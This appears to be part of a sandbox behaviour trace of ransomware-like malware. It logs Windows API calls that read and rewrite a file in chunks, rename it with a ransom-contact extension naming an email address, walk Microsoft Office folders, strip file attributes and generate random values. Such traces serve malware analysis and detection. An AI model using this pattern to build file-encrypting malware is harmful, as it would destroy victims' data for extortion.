	[0091.563] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b78) returned 1
	[0091.564] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50b1090
	[0091.565] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.565] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a10
	[0091.565] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a10) returned 1
	[0091.565] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.565] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0091.565] WriteFile (in: hFile=0x156c, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x187bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x187bfbfc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.571] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.571] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x96000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.571] ReadFile (in: hFile=0x156c, lpBuffer=0x50ca0a0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x187bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesRead=0x187bfbfc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.575] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x96000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa850
	[0091.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0091.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.575] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0091.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50b1090
	[0091.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318f8
	[0091.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.577] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.577] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.577] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0091.577] WriteFile (in: hFile=0x156c, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x187bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x187bfbfc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.614] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x10680d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.614] ReadFile (in: hFile=0x156c, lpBuffer=0x50ca0a0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x187bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesRead=0x187bfbfc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.617] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x10680d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0091.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0091.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319c0
	[0091.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319c0) returned 1
	[0091.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50b1090
	[0091.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319c0
	[0091.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a10
	[0091.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a10) returned 1
	[0091.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0091.621] WriteFile (in: hFile=0x156c, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x187bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x187bfbfc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733590
	[0091.637] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.637] WriteFile (in: hFile=0x156c, lpBuffer=0x48bbe08*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x187bfca4, lpOverlapped=0x0 | out: lpBuffer=0x48bbe08*, lpNumberOfBytesWritten=0x187bfca4*=0x14f, lpOverlapped=0x0) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bbe08) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5058ed8) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5058ea0) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733590) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0091.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731970) returned 1
	[0091.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e33900
	[0091.643] wcscpy (in: _Dest=0x4e33900, _Source="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml"
	[0091.643] wcscat (in: _Dest=0x4e33900, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.643] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x187bfc5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776a60
	[0091.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776a60) returned 1
	[0091.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d628) returned 1
	[0091.644] NtQueryInformationFile (in: FileHandle=0x156c, IoStatusBlock=0x187bfc68, FileInformation=0x187bfc40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x187bfc68, FileInformation=0x187bfc40) returned 0x0
	[0091.644] NtSetInformationFile (FileHandle=0x156c, IoStatusBlock=0x187bfc68, FileInformation=0x187bfc40, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0091.645] FlushFileBuffers (hFile=0x156c) returned 1
	[0093.274] CloseHandle (hObject=0x156c) 

Thread:
	id = 651
	os_tid = 0x1958

	[0078.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780298
	[0078.178] wcscpy (in: _Dest=0x4780298, _Source="C:\\Program Files\\Microsoft Office\\root\\VFS" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS") returned="C:\\Program Files\\Microsoft Office\\root\\VFS"
	[0078.178] wcscat (in: _Dest=0x4780298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\"
	[0078.178] wcscat (in: _Dest=0x4780298, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\*") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\*"
	[0078.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2cc0
	[0078.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\*", lpFindFileData=0x47a2cc0 | out: lpFindFileData=0x47a2cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87878
	[0079.960] wcscmp (_String1=".", _String2=".") returned 0
	[0079.960] FindNextFileW (in: hFindFile=0x2d87878, lpFindFileData=0x47a2cc0 | out: lpFindFileData=0x47a2cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.960] wcscmp (_String1="..", _String2=".") returned 1
	[0079.960] wcscmp (_String1="..", _String2="..") returned 0
	[0079.960] FindNextFileW (in: hFindFile=0x2d87878, lpFindFileData=0x47a2cc0 | out: lpFindFileData=0x47a2cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common AppData", cAlternateFileName="COMMON~2")) returned 1
	[0079.960] wcscmp (_String1="Common AppData", _String2=".") returned 1
	[0079.960] wcscmp (_String1="Common AppData", _String2="..") returned 1
	[0079.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc490
	[0079.960] wcscpy (in: _Dest=0x47bc490, _Source="C:\\Program Files\\Microsoft Office\\root\\VFS" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS") returned="C:\\Program Files\\Microsoft Office\\root\\VFS"
	[0079.960] wcscat (in: _Dest=0x47bc490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\"
	[0079.960] wcscat (in: _Dest=0x47bc490, _Source="Common AppData" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData"
	[0092.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bcb10
	[0092.173] wcscpy (in: _Dest=0x47bcb10, _Source="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData"
	[0092.173] wcscat (in: _Dest=0x47bcb10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\"
	[0092.173] wcscat (in: _Dest=0x47bcb10, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\*") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\*"
	[0092.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031178
	[0092.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\*", lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0092.174] wcscmp (_String1=".", _String2=".") returned 0
	[0092.174] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.175] wcscmp (_String1="..", _String2=".") returned 1
	[0092.175] wcscmp (_String1="..", _String2="..") returned 0
	[0092.175] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~2")) returned 1
	[0092.175] wcscmp (_String1="Microsoft", _String2=".") returned 1
	[0092.175] wcscmp (_String1="Microsoft", _String2="..") returned 1
	[0092.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e398
	[0092.175] wcscpy (in: _Dest=0x476e398, _Source="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData"
	[0092.175] wcscat (in: _Dest=0x476e398, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\"
	[0092.175] wcscat (in: _Dest=0x476e398, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft"
	[0092.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e398) returned 1
	[0092.175] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1
	[0092.175] wcscmp (_String1="Microsoft Help", _String2=".") returned 1
	[0092.175] wcscmp (_String1="Microsoft Help", _String2="..") returned 1
	[0092.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x48954a0
	[0092.175] wcscpy (in: _Dest=0x48954a0, _Source="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData"
	[0092.175] wcscat (in: _Dest=0x48954a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\"
	[0092.175] wcscat (in: _Dest=0x48954a0, _Source="Microsoft Help" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help"
	[0092.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x48952c0
	[0092.175] wcscpy (in: _Dest=0x48952c0, _Source="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help"
	[0092.175] wcscat (in: _Dest=0x48952c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\"
	[0092.175] wcscat (in: _Dest=0x48952c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\*") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\*"
	[0092.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50313e0
	[0092.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\*", lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afe8
	[0092.178] wcscmp (_String1=".", _String2=".") returned 0
	[0092.178] FindNextFileW (in: hFindFile=0x477afe8, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.181] wcscmp (_String1="..", _String2=".") returned 1
	[0092.181] wcscmp (_String1="..", _String2="..") returned 0
	[0092.181] FindNextFileW (in: hFindFile=0x477afe8, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45c4958, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x232, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.DATABASECOMPARE.16.1033.hxn", cAlternateFileName="MSDATA~1.HXN")) returned 1
	[0092.181] wcscmp (_String1="MS.DATABASECOMPARE.16.1033.hxn", _String2=".") returned 1
	[0092.181] wcscmp (_String1="MS.DATABASECOMPARE.16.1033.hxn", _String2="..") returned 1
	[0092.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e11318
	[0092.181] wcscpy (in: _Dest=0x2e11318, _Source="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help"
	[0092.181] wcscat (in: _Dest=0x2e11318, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\"
	[0092.181] wcscat (in: _Dest=0x2e11318, _Source="MS.DATABASECOMPARE.16.1033.hxn" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.DATABASECOMPARE.16.1033.hxn") returned="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.DATABASECOMPARE.16.1033.hxn"
	[0092.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.DATABASECOMPARE.16.1033.hxn" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.databasecompare.16.1033.hxn")) returned 0x22
	[0092.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.DATABASECOMPARE.16.1033.hxn", dwFileAttributes=0x20) returned 1
	[0092.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.DATABASECOMPARE.16.1033.hxn" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.databasecompare.16.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x147c
	[0092.182] GetFileSizeEx (in: hFile=0x147c, lpFileSize=0x1883f79c | out: lpFileSize=0x1883f79c*=562) returned 1
	[0092.182] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.182] ReadFile (in: hFile=0x147c, lpBuffer=0x1883f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1883f71c, lpOverlapped=0x0 | out: lpBuffer=0x1883f720*, lpNumberOfBytesRead=0x1883f71c*=0x4, lpOverlapped=0x0) returned 1
	[0092.182] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0092.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.183] NtQuerySystemTime (in: CurrentTime=0x1883f6fc | out: CurrentTime=0x1883f6fc*=132251868189158731) returned 0x0
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x373efe5c
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xfdd0c601
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x84ea1821
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x2bacf1c7
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x6b32c9ef
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x23c738d1
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x1eae8622
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xdf1b0f1c
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xa3b580eb
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xae618f1f
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x9673c90d
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xf34e5c7
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x46ec9be0
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x68b91ae
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xf845e480
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x832997c0
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x8223c3d3
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x30765a87
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xecb36b6f
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xeaca66db
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x15d22ae9
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xd9bb1903
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xd43a9258
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xf70e5aa9
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xa9358a74
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xe882e0a0
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x4745f6a9
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0x80f0e326
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xac6d81e9
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xac39a85
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xcb9bc890
	[0092.183] RtlRandom (in: Seed=0x1883f708 | out: Seed=0x1883f708) returned 0xeab16f3f
